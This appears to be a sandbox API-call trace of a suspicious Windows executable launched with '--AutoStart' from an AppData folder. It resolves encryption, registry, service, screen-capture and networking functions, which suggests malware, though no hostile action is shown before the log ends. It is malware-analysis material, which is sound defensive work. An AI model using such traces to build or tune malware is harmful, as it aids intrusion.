(hModule=0x76fe0000, lpProcName="LoadLibraryW") returned 0x76ff492b [0106.541] GetProcAddress (hModule=0x76fe0000, lpProcName="Sleep") returned 0x76ff10ff [0106.541] GetProcAddress (hModule=0x76fe0000, lpProcName="CopyFileW") returned 0x7701830d [0106.541] GetProcAddress (hModule=0x76fe0000, lpProcName="FormatMessageW") returned 0x76ff4620 [0106.541] GetProcAddress (hModule=0x76fe0000, lpProcName="lstrcpynW") returned 0x7701d556 [0106.541] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateProcessA") returned 0x76ff1072 [0106.542] GetProcAddress (hModule=0x76fe0000, lpProcName="TerminateProcess") returned 0x7700d802 [0106.542] GetProcAddress (hModule=0x76fe0000, lpProcName="ReadFile") returned 0x76ff3ed3 [0106.542] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateFileW") returned 0x76ff3f5c [0106.542] GetProcAddress (hModule=0x76fe0000, lpProcName="lstrcatA") returned 0x77012b7a [0106.542] GetProcAddress (hModule=0x76fe0000, lpProcName="GetEnvironmentVariableA") returned 0x76ff33a0 [0106.542] GetProcAddress (hModule=0x76fe0000, lpProcName="lstrcmpW") returned 0x76ff5929 [0106.542] GetProcAddress (hModule=0x76fe0000, lpProcName="MultiByteToWideChar") returned 0x76ff192e [0106.542] GetProcAddress (hModule=0x76fe0000, lpProcName="lstrlenW") returned 0x76ff1700 [0106.542] GetProcAddress (hModule=0x76fe0000, lpProcName="FlushFileBuffers") returned 0x76ff469b [0106.542] GetProcAddress (hModule=0x76fe0000, lpProcName="GetShortPathNameA") returned 0x7701594d [0106.542] GetProcAddress (hModule=0x76fe0000, lpProcName="GetFileSizeEx") returned 0x76ff59e2 [0106.542] GetProcAddress (hModule=0x76fe0000, lpProcName="GetLastError") returned 0x76ff11c0 [0106.542] GetProcAddress (hModule=0x76fe0000, lpProcName="SetLastError") returned 0x76ff11a9 [0106.542] GetProcAddress (hModule=0x76fe0000, lpProcName="GetProcAddress") returned 0x76ff1222 [0106.543] GetProcAddress (hModule=0x76fe0000, lpProcName="VirtualAlloc") returned 0x76ff1856 [0106.543] GetProcAddress (hModule=0x76fe0000, lpProcName="MoveFileW") returned 0x77009af0 [0106.543] GetProcAddress (hModule=0x76fe0000, lpProcName="FindClose") returned 0x76ff4442 [0106.543] GetProcAddress (hModule=0x76fe0000, lpProcName="Process32FirstW") returned 0x77018baf [0106.543] GetProcAddress (hModule=0x76fe0000, lpProcName="LocalAlloc") returned 0x76ff168c [0106.543] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateEventW") returned 0x76ff183e [0106.543] GetProcAddress (hModule=0x76fe0000, lpProcName="GetModuleFileNameA") returned 0x76ff14b1 [0106.543] GetProcAddress (hModule=0x76fe0000, lpProcName="Process32NextW") returned 0x7701896c [0106.543] GetProcAddress (hModule=0x76fe0000, lpProcName="lstrcatW") returned 0x7701828e [0106.543] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateMutexA") returned 0x76ff4c6b [0106.543] GetProcAddress (hModule=0x76fe0000, lpProcName="FindNextFileW") returned 0x76ff54ee [0106.543] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7701735f [0106.544] GetProcAddress (hModule=0x76fe0000, lpProcName="SetEnvironmentVariableA") returned 0x76ffe331 [0106.544] GetProcAddress (hModule=0x76fe0000, lpProcName="DeleteFileW") returned 0x76ff89b3 [0106.544] GetProcAddress (hModule=0x76fe0000, lpProcName="LocalFree") returned 0x76ff2d3c [0106.544] GetProcAddress (hModule=0x76fe0000, lpProcName="lstrcpyW") returned 0x77013102 [0106.544] GetProcAddress (hModule=0x76fe0000, lpProcName="DeleteFileA") returned 0x76ff5444 [0106.544] GetProcAddress (hModule=0x76fe0000, lpProcName="lstrcpyA") returned 0x77012a9d [0106.544] GetProcAddress (hModule=0x76fe0000, lpProcName="SetPriorityClass") returned 0x7700cf28 [0106.544] GetProcAddress (hModule=0x76fe0000, lpProcName="GetCurrentProcess") returned 0x76ff1809 [0106.544] GetProcAddress (hModule=0x76fe0000, lpProcName="GetComputerNameW") returned 0x76ffdd0e [0106.544] GetProcAddress (hModule=0x76fe0000, lpProcName="GetLogicalDrives") returned 0x76ff5371 [0106.544] GetProcAddress (hModule=0x76fe0000, lpProcName="GetModuleFileNameW") returned 0x76ff4950 [0106.544] GetProcAddress (hModule=0x76fe0000, lpProcName="SetStdHandle") returned 0x7707454f [0106.544] GetProcAddress (hModule=0x76fe0000, lpProcName="GetVersion") returned 0x76ff4467 [0106.544] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateDirectoryA") returned 0x7701d526 [0106.545] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateThread") returned 0x76ff34d5 [0106.545] GetProcAddress (hModule=0x76fe0000, lpProcName="CompareStringW") returned 0x76ff3bca [0106.545] GetProcAddress (hModule=0x76fe0000, lpProcName="GetTimeFormatW") returned 0x7700f481 [0106.545] GetProcAddress (hModule=0x76fe0000, lpProcName="GetDateFormatW") returned 0x770134d7 [0106.545] GetProcAddress (hModule=0x76fe0000, lpProcName="EnumSystemLocalesW") returned 0x7707425f [0106.546] GetProcAddress (hModule=0x76fe0000, lpProcName="GetUserDefaultLCID") returned 0x76ff3da5 [0106.546] GetProcAddress (hModule=0x76fe0000, lpProcName="IsValidLocale") returned 0x7700ce46 [0106.546] GetProcAddress (hModule=0x76fe0000, lpProcName="GetLocaleInfoW") returned 0x76ff3c42 [0106.546] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateSemaphoreW") returned 0x7700ca5a [0106.546] GetProcAddress (hModule=0x76fe0000, lpProcName="GetModuleHandleW") returned 0x76ff34b0 [0106.546] GetProcAddress (hModule=0x76fe0000, lpProcName="GetTickCount") returned 0x76ff110c [0106.546] GetProcAddress (hModule=0x76fe0000, lpProcName="TlsFree") returned 0x76ff3587 [0106.546] GetProcAddress (hModule=0x76fe0000, lpProcName="TlsSetValue") returned 0x76ff14fb [0106.546] GetProcAddress (hModule=0x76fe0000, lpProcName="TlsGetValue") returned 0x76ff11e0 [0106.546] GetProcAddress (hModule=0x76fe0000, lpProcName="TlsAlloc") returned 0x76ff49ad [0106.546] GetProcAddress (hModule=0x76fe0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76ff1916 [0106.546] GetProcAddress (hModule=0x76fe0000, lpProcName="SetUnhandledExceptionFilter") returned 0x76ff87c9 [0106.546] GetProcAddress (hModule=0x76fe0000, lpProcName="UnhandledExceptionFilter") returned 0x7701772f [0106.546] GetProcAddress (hModule=0x76fe0000, lpProcName="GetModuleHandleA") returned 0x76ff1245 [0106.546] GetProcAddress (hModule=0x76fe0000, lpProcName="GetVersionExA") returned 0x76ff3519 [0106.547] GetProcAddress (hModule=0x76fe0000, lpProcName="GlobalMemoryStatus") returned 0x76ff8b6d [0106.547] GetProcAddress (hModule=0x76fe0000, lpProcName="LoadLibraryA") returned 0x76ff49d7 [0106.547] GetProcAddress (hModule=0x76fe0000, lpProcName="FlushConsoleInputBuffer") returned 0x77097a9f [0106.547] GetProcAddress (hModule=0x76fe0000, lpProcName="WaitForSingleObject") returned 0x76ff1136 [0106.547] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateDirectoryW") returned 0x76ff4259 [0106.547] GetProcAddress (hModule=0x76fe0000, lpProcName="SetFilePointerEx") returned 0x7700c807 [0106.547] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateProcessW") returned 0x76ff103d [0106.547] GetProcAddress (hModule=0x76fe0000, lpProcName="FreeLibrary") returned 0x76ff34c8 [0106.547] GetProcAddress (hModule=0x76fe0000, lpProcName="SetErrorMode") returned 0x76ff1b00 [0106.547] GetProcAddress (hModule=0x76fe0000, lpProcName="lstrlenA") returned 0x76ff5a4b [0106.547] GetProcAddress (hModule=0x76fe0000, lpProcName="SetFilePointer") returned 0x76ff17d1 [0106.547] GetProcAddress (hModule=0x76fe0000, lpProcName="FindFirstFileW") returned 0x76ff4435 [0106.547] GetProcAddress (hModule=0x76fe0000, lpProcName="SetConsoleMode") returned 0x7700a77d [0106.548] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateFileA") returned 0x76ff53c6 [0106.548] GetProcAddress (hModule=0x76fe0000, lpProcName="GetCommandLineW") returned 0x76ff5223 [0106.548] GetProcAddress (hModule=0x76fe0000, lpProcName="GetNumberOfConsoleInputEvents") returned 0x7709793f [0106.548] GetProcAddress (hModule=0x76fe0000, lpProcName="PeekConsoleInputA") returned 0x77096f0d [0106.548] GetProcAddress (hModule=0x76fe0000, lpProcName="FreeEnvironmentStringsW") returned 0x76ff51cb [0106.548] GetProcAddress (hModule=0x76fe0000, lpProcName="GetEnvironmentStringsW") returned 0x76ff51e3 [0106.548] GetProcAddress (hModule=0x76fe0000, lpProcName="GetCurrentProcessId") returned 0x76ff11f8 [0106.548] GetProcAddress (hModule=0x76fe0000, lpProcName="QueryPerformanceCounter") returned 0x76ff1725 [0106.548] GetProcAddress (hModule=0x76fe0000, lpProcName="GetTimeZoneInformation") returned 0x76ff465a [0106.548] GetProcAddress (hModule=0x76fe0000, lpProcName="RaiseException") returned 0x76ff58a6 [0106.548] GetProcAddress (hModule=0x76fe0000, lpProcName="GetStringTypeW") returned 0x76ff1946 [0106.548] GetProcAddress (hModule=0x76fe0000, lpProcName="GetConsoleCP") returned 0x77097bff [0106.548] GetProcAddress (hModule=0x76fe0000, lpProcName="ReadConsoleW") returned 0x7709739a [0106.548] GetProcAddress (hModule=0x76fe0000, lpProcName="GetConsoleMode") returned 0x76ff1328 [0106.549] GetProcAddress (hModule=0x76fe0000, lpProcName="HeapSize") returned 0x77c33002 [0106.549] GetProcAddress (hModule=0x76fe0000, lpProcName="LoadLibraryExW") returned 0x76ff495d [0106.549] GetProcAddress (hModule=0x76fe0000, lpProcName="OutputDebugStringW") returned 0x7701d1d4 [0106.549] GetProcAddress (hModule=0x76fe0000, lpProcName="SetConsoleCtrlHandler") returned 0x76ff8a09 [0106.549] GetProcAddress (hModule=0x76fe0000, lpProcName="RtlUnwind") returned 0x7701d1c3 [0106.549] GetProcAddress (hModule=0x76fe0000, lpProcName="FatalAppExitA") returned 0x77074691 [0106.549] GetProcAddress (hModule=0x76fe0000, lpProcName="GetStartupInfoW") returned 0x76ff4d40 [0106.549] GetProcAddress (hModule=0x76fe0000, lpProcName="GetExitCodeProcess") returned 0x7700174d [0106.549] GetProcAddress (hModule=0x76fe0000, lpProcName="LCMapStringW") returned 0x76ff17b9 [0106.549] GetProcAddress (hModule=0x76fe0000, lpProcName="DeleteCriticalSection") returned 0x77c345f5 [0106.549] GetProcAddress (hModule=0x76fe0000, lpProcName="AreFileApisANSI") returned 0x770740d1 [0106.549] GetProcAddress (hModule=0x76fe0000, lpProcName="ExitProcess") returned 0x76ff7a10 [0106.549] GetProcAddress (hModule=0x76fe0000, lpProcName="GetProcessHeap") returned 0x76ff14e9 [0106.550] GetProcAddress (hModule=0x76fe0000, lpProcName="HeapReAlloc") returned 0x77c41f6e [0106.550] GetProcAddress (hModule=0x76fe0000, lpProcName="GlobalFree") returned 0x76ff5558 [0106.550] GetProcAddress (hModule=0x76fe0000, lpProcName="SetEndOfFile") returned 0x7700ce2e [0106.550] GetProcAddress (hModule=0x76fe0000, lpProcName="ReadConsoleInputA") returned 0x77096f53 [0106.550] GetProcAddress (hModule=0x76fe0000, lpProcName="CloseHandle") returned 0x76ff1410 [0106.550] GetProcAddress (hModule=0x76fe0000, lpProcName="HeapFree") returned 0x76ff14c9 [0106.550] GetProcAddress (hModule=0x76fe0000, lpProcName="HeapAlloc") returned 0x77c2e026 [0106.550] GetProcAddress (hModule=0x76fe0000, lpProcName="EnterCriticalSection") returned 0x77c222b0 [0106.550] GetProcAddress (hModule=0x76fe0000, lpProcName="LeaveCriticalSection") returned 0x77c22270 [0106.550] GetProcAddress (hModule=0x76fe0000, lpProcName="GetStdHandle") returned 0x76ff51b3 [0106.550] GetProcAddress (hModule=0x76fe0000, lpProcName="GetFileType") returned 0x76ff3531 [0106.550] GetProcAddress (hModule=0x76fe0000, lpProcName="GetModuleHandleExW") returned 0x76ff4a6f [0106.550] GetProcAddress (hModule=0x76fe0000, lpProcName="WriteConsoleW") returned 0x77017aca [0106.550] GetProcAddress (hModule=0x76fe0000, lpProcName="EncodePointer") returned 0x77c40fcb [0106.550] GetProcAddress (hModule=0x76fe0000, lpProcName="DecodePointer") returned 0x77c39d35 [0106.551] GetProcAddress (hModule=0x76fe0000, lpProcName="GetSystemTimeAsFileTime") returned 0x76ff3509 [0106.551] GetProcAddress (hModule=0x76fe0000, lpProcName="IsDebuggerPresent") returned 0x76ff4a5d [0106.551] GetProcAddress (hModule=0x76fe0000, lpProcName="IsProcessorFeaturePresent") returned 0x76ff5235 [0106.551] GetProcAddress (hModule=0x76fe0000, lpProcName="IsValidCodePage") returned 0x76ff4493 [0106.551] GetProcAddress (hModule=0x76fe0000, lpProcName="GetACP") returned 0x76ff179c [0106.551] GetProcAddress (hModule=0x76fe0000, lpProcName="GetOEMCP") returned 0x7701d1a1 [0106.551] GetProcAddress (hModule=0x76fe0000, lpProcName="GetCPInfo") returned 0x76ff5189 [0106.551] GetProcAddress (hModule=0x76fe0000, lpProcName="GetCurrentThread") returned 0x76ff17ec [0106.551] GetProcAddress (hModule=0x76fe0000, lpProcName="GetCurrentThreadId") returned 0x76ff1450 [0106.551] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76850000 [0106.551] GetProcAddress (hModule=0x76850000, lpProcName="PeekMessageW") returned 0x768705ba [0106.551] GetProcAddress (hModule=0x76850000, lpProcName="PostThreadMessageW") returned 0x76868bff [0106.552] GetProcAddress (hModule=0x76850000, lpProcName="DefWindowProcW") returned 0x77c325dd [0106.552] GetProcAddress (hModule=0x76850000, lpProcName="DispatchMessageW") returned 0x7686787b [0106.552] GetProcAddress (hModule=0x76850000, lpProcName="UpdateWindow") returned 0x76873559 [0106.552] GetProcAddress (hModule=0x76850000, lpProcName="CreateWindowExW") returned 0x76868a29 [0106.552] GetProcAddress (hModule=0x76850000, lpProcName="LoadCursorW") returned 0x768688f7 [0106.552] GetProcAddress (hModule=0x76850000, lpProcName="IsWindow") returned 0x76867136 [0106.552] GetProcAddress (hModule=0x76850000, lpProcName="ShowWindow") returned 0x76870dfb [0106.552] GetProcAddress (hModule=0x76850000, lpProcName="RegisterClassExW") returned 0x7686b17d [0106.552] GetProcAddress (hModule=0x76850000, lpProcName="PostQuitMessage") returned 0x76869abb [0106.552] GetProcAddress (hModule=0x76850000, lpProcName="GetMessageW") returned 0x768678e2 [0106.552] GetProcAddress (hModule=0x76850000, lpProcName="DestroyWindow") returned 0x76869a55 [0106.552] GetProcAddress (hModule=0x76850000, lpProcName="SendMessageW") returned 0x76869679 [0106.552] GetProcAddress (hModule=0x76850000, lpProcName="GetProcessWindowStation") returned 0x76869eea [0106.552] GetProcAddress (hModule=0x76850000, lpProcName="GetUserObjectInformationW") returned 0x76868068 [0106.552] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxA") returned 0x768bfd1e [0106.553] GetProcAddress (hModule=0x76850000, lpProcName="GetDesktopWindow") returned 0x76870a19 [0106.553] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxW") returned 0x768bfd3f [0106.553] GetProcAddress (hModule=0x76850000, lpProcName="TranslateMessage") returned 0x76867809 [0106.553] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77600000 [0106.553] GetProcAddress (hModule=0x77600000, lpProcName="RegCloseKey") returned 0x7761469d [0106.553] GetProcAddress (hModule=0x77600000, lpProcName="CloseServiceHandle") returned 0x7761369c [0106.553] GetProcAddress (hModule=0x77600000, lpProcName="GetUserNameW") returned 0x7761157a [0106.553] GetProcAddress (hModule=0x77600000, lpProcName="ReportEventA") returned 0x77603ee9 [0106.553] GetProcAddress (hModule=0x77600000, lpProcName="RegisterEventSourceA") returned 0x77612d46 [0106.553] GetProcAddress (hModule=0x77600000, lpProcName="DeregisterEventSource") returned 0x776135dd [0106.553] GetProcAddress (hModule=0x77600000, lpProcName="CryptHashData") returned 0x7760df36 [0106.553] GetProcAddress (hModule=0x77600000, lpProcName="RegSetValueExW") returned 0x776114d6 [0106.554] GetProcAddress (hModule=0x77600000, lpProcName="CryptDestroyHash") returned 0x7760df66 [0106.554] GetProcAddress (hModule=0x77600000, lpProcName="ControlService") returned 0x77627144 [0106.554] GetProcAddress (hModule=0x77600000, lpProcName="RegOpenKeyExW") returned 0x7761468d [0106.554] GetProcAddress (hModule=0x77600000, lpProcName="CryptCreateHash") returned 0x7760df4e [0106.554] GetProcAddress (hModule=0x77600000, lpProcName="CryptEncrypt") returned 0x7762779b [0106.554] GetProcAddress (hModule=0x77600000, lpProcName="CryptImportKey") returned 0x7760c532 [0106.554] GetProcAddress (hModule=0x77600000, lpProcName="QueryServiceStatus") returned 0x77612a86 [0106.554] GetProcAddress (hModule=0x77600000, lpProcName="RegQueryValueExW") returned 0x776146ad [0106.554] GetProcAddress (hModule=0x77600000, lpProcName="CryptReleaseContext") returned 0x7760e124 [0106.554] GetProcAddress (hModule=0x77600000, lpProcName="OpenServiceW") returned 0x7760ca4c [0106.554] GetProcAddress (hModule=0x77600000, lpProcName="OpenSCManagerW") returned 0x7760ca64 [0106.554] GetProcAddress (hModule=0x77600000, lpProcName="CryptAcquireContextW") returned 0x7760df14 [0106.554] GetProcAddress (hModule=0x77600000, lpProcName="CryptGetHashParam") returned 0x7760df7e [0106.554] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75bd0000 [0106.559] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetPathFromIDListW") returned 0x75c617bf [0106.559] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x75c5e141 [0106.559] GetProcAddress (hModule=0x75bd0000, lpProcName="ShellExecuteA") returned 0x75e17078 [0106.559] GetProcAddress (hModule=0x75bd0000, lpProcName="ShellExecuteExW") returned 0x75bf1e46 [0106.559] GetProcAddress (hModule=0x75bd0000, lpProcName="CommandLineToArgvW") returned 0x75be9ee8 [0106.559] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathA") returned 0x75ce7804 [0106.559] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x757c0000 [0106.559] GetProcAddress (hModule=0x757c0000, lpProcName="CoInitialize") returned 0x757db636 [0106.559] GetProcAddress (hModule=0x757c0000, lpProcName="CoInitializeSecurity") returned 0x757e7259 [0106.559] GetProcAddress (hModule=0x757c0000, lpProcName="CoUninitialize") returned 0x758086d3 [0106.559] GetProcAddress (hModule=0x757c0000, lpProcName="CoCreateInstance") returned 0x75809d0b [0106.560] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x773d0000 [0106.560] GetProcAddress (hModule=0x773d0000, lpProcName=0x6) returned 0x773d3e59 [0106.560] GetProcAddress (hModule=0x773d0000, lpProcName=0x8) returned 0x773d3ed5 [0106.560] GetProcAddress (hModule=0x773d0000, lpProcName=0x9) returned 0x773d3eae [0106.560] GetProcAddress (hModule=0x773d0000, lpProcName=0xc8) returned 0x773d3f21 [0106.560] GetProcAddress (hModule=0x773d0000, lpProcName=0xca) returned 0x773dfd6b [0106.560] GetProcAddress (hModule=0x773d0000, lpProcName=0xc9) returned 0x773d4af8 [0106.560] GetProcAddress (hModule=0x773d0000, lpProcName=0xc) returned 0x773d5dee [0106.560] GetProcAddress (hModule=0x773d0000, lpProcName=0x2) returned 0x773d4642 [0106.560] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x756c0000 [0106.576] GetProcAddress (hModule=0x756c0000, lpProcName="GetAdaptersInfo") returned 0x756c9263 [0106.576] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x76a50000 [0106.613] GetProcAddress (hModule=0x76a50000, lpProcName=0xc) returned 0x76a5b131 [0106.613] GetProcAddress (hModule=0x76a50000, lpProcName=0xb) returned 0x76a5311b [0106.613] GetProcAddress (hModule=0x76a50000, lpProcName=0x34) returned 0x76a67673 [0106.613] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x75660000 [0106.627] GetProcAddress (hModule=0x75660000, lpProcName="DnsFree") returned 0x7566436b [0106.627] GetProcAddress (hModule=0x75660000, lpProcName="DnsQuery_W") returned 0x7567572c [0106.627] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x76bf0000 [0106.628] GetProcAddress (hModule=0x76bf0000, lpProcName="CryptStringToBinaryA") returned 0x76c25d77 [0106.628] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x76d10000 [0106.628] GetProcAddress (hModule=0x76d10000, lpProcName="DeleteObject") returned 0x76d25689 [0106.628] GetProcAddress (hModule=0x76d10000, lpProcName="GetObjectA") returned 0x76d285d4 [0106.628] GetProcAddress (hModule=0x76d10000, lpProcName="SelectObject") returned 0x76d24f70 [0106.628] GetProcAddress (hModule=0x76d10000, lpProcName="GetDeviceCaps") returned 0x76d24de0 [0106.628] GetProcAddress (hModule=0x76d10000, lpProcName="GetBitmapBits") returned 0x76d2c155 [0106.628] GetProcAddress (hModule=0x76d10000, lpProcName="BitBlt") returned 0x76d25ea6 [0106.628] GetProcAddress (hModule=0x76d10000, lpProcName="DeleteDC") returned 0x76d258b3 [0106.628] GetProcAddress (hModule=0x76d10000, lpProcName="CreateDCA") returned 0x76d27bcc [0106.628] GetProcAddress (hModule=0x76d10000, lpProcName="CreateCompatibleDC") returned 0x76d254f4 [0106.628] GetProcAddress (hModule=0x76d10000, lpProcName="CreateCompatibleBitmap") returned 0x76d25f49 [0106.628] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x755a0000 [0106.649] GetProcAddress (hModule=0x755a0000, lpProcName="atexit") returned 0x755bc544 [0106.649] atexit (param_1=0x680920) returned 0 [0106.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fbc8 | out: lpSystemTimeAsFileTime=0x18fbc8*(dwLowDateTime=0x4bdcc4f0, dwHighDateTime=0x1d643ed)) [0106.649] GetCurrentThreadId () returned 0x570 [0106.649] GetCurrentProcessId () returned 0x56c [0106.649] QueryPerformanceCounter (in: lpPerformanceCount=0x18fbc0 | out: lpPerformanceCount=0x18fbc0*=6690495032) returned 1 [0106.649] GetStartupInfoW (in: lpStartupInfo=0x18fb58 | out: lpStartupInfo=0x18fb58*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76ff3519, hStdOutput=0x77c1fd35, hStdError=0x77c87daf)) [0106.650] GetProcessHeap () returned 0x810000 [0106.650] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76fe0000 [0106.650] GetProcAddress (hModule=0x76fe0000, lpProcName="FlsAlloc") returned 0x76ff4f2b [0106.650] GetProcAddress (hModule=0x76fe0000, lpProcName="FlsFree") returned 0x76ff359f [0106.650] GetProcAddress (hModule=0x76fe0000, lpProcName="FlsGetValue") returned 0x76ff1252 [0106.650] GetProcAddress (hModule=0x76fe0000, lpProcName="FlsSetValue") returned 0x76ff4208 [0106.650] GetProcAddress (hModule=0x76fe0000, lpProcName="InitializeCriticalSectionEx") returned 0x76ff4d28 [0106.650] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateEventExW") returned 0x7707410b [0106.650] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateSemaphoreExW") returned 0x77074195 [0106.650] GetProcAddress (hModule=0x76fe0000, lpProcName="SetThreadStackGuarantee") returned 0x76ffd31f [0106.650] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateThreadpoolTimer") returned 0x7700ee7e [0106.650] GetProcAddress (hModule=0x76fe0000, lpProcName="SetThreadpoolTimer") returned 0x77c4441c [0106.651] GetProcAddress (hModule=0x76fe0000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77c6c50e [0106.651] GetProcAddress (hModule=0x76fe0000, lpProcName="CloseThreadpoolTimer") returned 0x77c6c381 [0106.651] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateThreadpoolWait") returned 0x7700f088 [0106.651] GetProcAddress (hModule=0x76fe0000, lpProcName="SetThreadpoolWait") returned 0x77c505d7 [0106.651] GetProcAddress (hModule=0x76fe0000, lpProcName="CloseThreadpoolWait") returned 0x77c6ca24 [0106.651] GetProcAddress (hModule=0x76fe0000, lpProcName="FlushProcessWriteBuffers") returned 0x77c20b8c [0106.651] GetProcAddress (hModule=0x76fe0000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77cdfde8 [0106.651] GetProcAddress (hModule=0x76fe0000, lpProcName="GetCurrentProcessorNumber") returned 0x77c71e1d [0106.651] GetProcAddress (hModule=0x76fe0000, lpProcName="GetLogicalProcessorInformation") returned 0x77074761 [0106.651] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateSymbolicLinkW") returned 0x7706cd11 [0106.651] GetProcAddress (hModule=0x76fe0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0106.651] GetProcAddress (hModule=0x76fe0000, lpProcName="EnumSystemLocalesEx") returned 0x7707424f [0106.651] GetProcAddress (hModule=0x76fe0000, lpProcName="CompareStringEx") returned 0x770746b1 [0106.652] GetProcAddress (hModule=0x76fe0000, lpProcName="GetDateFormatEx") returned 0x77086676 [0106.652] GetProcAddress (hModule=0x76fe0000, lpProcName="GetLocaleInfoEx") returned 0x77074751 [0106.652] GetProcAddress (hModule=0x76fe0000, lpProcName="GetTimeFormatEx") returned 0x770865f1 [0106.652] GetProcAddress (hModule=0x76fe0000, lpProcName="GetUserDefaultLocaleName") returned 0x770747c1 [0106.652] GetProcAddress (hModule=0x76fe0000, lpProcName="IsValidLocaleName") returned 0x770747e1 [0106.652] GetProcAddress (hModule=0x76fe0000, lpProcName="LCMapStringEx") returned 0x770747f1 [0106.652] GetProcAddress (hModule=0x76fe0000, lpProcName="GetCurrentPackageId") returned 0x0 [0106.652] GetProcAddress (hModule=0x76fe0000, lpProcName="GetTickCount64") returned 0x7700eee0 [0106.652] GetProcAddress (hModule=0x76fe0000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0106.652] GetProcAddress (hModule=0x76fe0000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0106.653] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x3bc) returned 0x831820 [0106.653] GetCurrentThreadId () returned 0x570 [0106.653] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x18) returned 0x827b40 [0106.653] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x800) returned 0x831be8 [0106.653] GetStartupInfoW (in: lpStartupInfo=0x18fb28 | out: lpStartupInfo=0x18fb28*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x425128, hStdOutput=0xc4c25d64, hStdError=0x30)) [0106.653] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0106.653] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0106.653] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0106.653] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --AutoStart" [0106.653] GetEnvironmentStringsW () returned 0x8323f0* [0106.653] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xb02) returned 0x832f00 [0106.653] FreeEnvironmentStringsW (penv=0x8323f0) returned 1 [0106.653] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x511130, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe")) returned 0x6e [0106.653] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x102) returned 0x833a10 [0106.653] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x9c) returned 0x833b20 [0106.653] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x3e) returned 0x825980 [0106.653] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x6c) returned 0x833bc8 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x6e) returned 0x833c40 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x78) returned 0x823a28 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x62) returned 0x833cb8 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x2e) returned 0x82d618 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x48) returned 0x829300 [0106.654] 